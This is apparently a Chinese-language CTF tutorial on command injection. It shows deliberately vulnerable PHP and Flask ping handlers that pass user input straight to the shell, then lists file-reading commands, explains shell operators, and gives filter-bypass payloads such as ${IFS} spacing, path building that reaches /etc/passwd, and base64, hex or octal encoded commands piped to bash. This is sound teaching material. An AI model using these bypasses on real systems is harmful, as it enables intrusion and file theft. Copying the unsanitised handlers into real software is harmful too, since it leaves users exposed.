漏洞代码 #
命令注入是由于对用户输入限制不足,导致改变了原有执行命令的语义,继而额外执行了多条命令,如下面的ping
程序,原本设计是期待用户传入合法的ip参数,如127.0.0.1
,程序返回ping 127.0.0.1
的结果,但用户可以通过修改 ip 参数来注入恶意的命令
<?php
highlight_file(__FILE__);
// 获取用户输入的IP地址
$ip_address = $_GET['ip'];
// 构建ping命令
$command = "ping -c 4 " . $ip_address;
// 执行命令
$output = shell_exec($command);
// 显示结果
echo "<pre>$output</pre>";
?>
import os
from flask import Flask, request
app = Flask(__name__)
@app.route('/ping', methods=['GET'])
def ping():
# 获取用户输入的IP地址
ip_address = request.args.get('ip')
# 构建ping命令
command = f"ping -c 4 {ip_address}"
# 执行命令
output = os.popen(command).read()
# 返回结果
return f"<pre>{output}</pre>"
if __name__ == '__main__':
app.run(debug=True)
如用户输入?ip=127.0.0.1;pwd
可额外获取当前目录信息
ctf web题目中命令注入的主要目的是读取文件,常见的读取文件的命令有:
cat/tac
: 按顺序/逆序读取more/less
: 按页读取,less支持backwardshead/tail
: 按头/尾读取nl
: 添加行数od -a
: 16进制显示文件uniq
: 删除文件重复行,显示结果sort
: 将文件排列之后显示strings
: 查找可打印字符串rev
: 文件内容反序paste
: 合并文件diff flag xxx
: 比较2个文件的内容差异base64
: 对文件内容base64
常用符号 #
链接符 #
cmd1
&&cmd2
: 代表首先执行前者命令cmd1
再执行后命令cmd2
,但是前提条件是命令cmd1
执行成功才会执行命令cmd2
,在cmd1
执行失败的情况下不会执行cmd2
命令。所以又被称为短路运算符。cmd1
||cmd2
: 代表首先执行cmd1
命令再执行cmd2
命令,如果cmd1
命令执行成功,就不会执行cmd2
命令,相反,如果cmd1
命令执行不成功,就会执行cmd2
命令。(前面的命令执行失败,它后面的命令才被执行)以上类似编程语言中的逻辑运算符;
cmd
命令执行成功的标志是echo $?
返回0
:pwd /Users/zqq/Desktop/zqq/zqq1024 echo $? 0
cmd1
&cmd2
:代表首先在后台执行命令cmd1
,然后再立刻执行命令cmd2
,如果cmd1
执行失败,还是会继续执行命令cmd2
。也就是说命令cmd2
的执行不会受到命令cmd1
的干扰。cmd1
|cmd2
:管道符号,代表首先执行命令cmd1
,将命令cmd1
命令输出作为cmd2
命令的输入执行命令cmd2
,如果cmd1
执行失败,还是会继续执行命令cmd2
。也就是说命令cmd2
的执行不会受到命令cmd1
的干扰。cmd1
;cmd2
:这种格式会先执行cmd1
,不管cmd1
的执行结果如何(无论成功还是失败),接着会执行cmd2
。这是一种串行执行命令的方式,常用于需要按特定顺序执行多个独立命令的场景。
其他符号 #
`` 反引号
backtick 用于执行命令并将命令的输出结果嵌入到另一个命令或上下文中,echo `pwd`
$()符号
$()是一种命令替换语法,用于执行命令并将其输出结果嵌入到另一个命令或上下文中,echo $(pwd)
括号()
(command1; command2),它们会作为一个独立的子shhell进程执行
花括号{}
花括号中可以包含一个或多个值
echo {1..5} = echo 1 2 3 4 5
cp file{.txt,.bak} = cp file.txt file.bak
绕过 #
过滤空格:以cat flag.txt为例,系统不允许我们输入空格或输入后被过滤
# ${IFS}
cat${IFS}flag.txt # Internal Field Separator, By default, the value of IFS includes space, tab, and newline.
# 重定向符
cat<flag.txt
cat<>flag.txt
# 花括号
{cat,flag.txt}
cat%09flag.txt # 需要php环境,php环境下web输入%09等效于空格,horizontal tab ,%0a LF %0d CR
# 空格转义
X=$'cat\x20flag.txt'&&$X # $'' 引用允许包含转义序列,如\n理解为换行符等
过滤斜杠:以cat xxx/flag.txt威力,斜杠会被过滤来规避文件路径的构造
# ${HOME:0:1} $HOME=/root 之类的
cat ${HOME:0:1}etc${HOME:0:1}passwd
# echo . | tr '!-0' '"-1' 本质为 . 替换为了 /
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
关键词黑名单: 系统限制了一些命令如cat的执行,但是理论上黑名单限制是没法做到完全的
# shell变量拼接
a=c;b=at;c=fl;d=ag;e=.txt;$a$b $c$d$e;
# base64 + 管道
`echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d`
echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d | bash
# 单双引号
c""at fl''ag.tx""t
# 反斜杠
c\at fl\a\g.tx\t
# $1
ca$1t fl$1ag.t$1xt
# 十六进制
echo 'cat flag.txt' | xxd
echo "0x63617420666c61672e7478740a" | xxd -r -p | bash
# 八进制绕过
echo "cat flag.txt" | od -An -t o1 | sed 's/ /\\/g'
`printf "\143\141\164\040\146\154\141\147\056\164\170\164\012"`
# 通配符
cat fl?g.txt # ?作为通配符时,它代表一个字符的位置,可以匹配任何单个字符(除了目录斜杠/)
cat fla?.txt
cat f[lc]ag.txt
cat fl**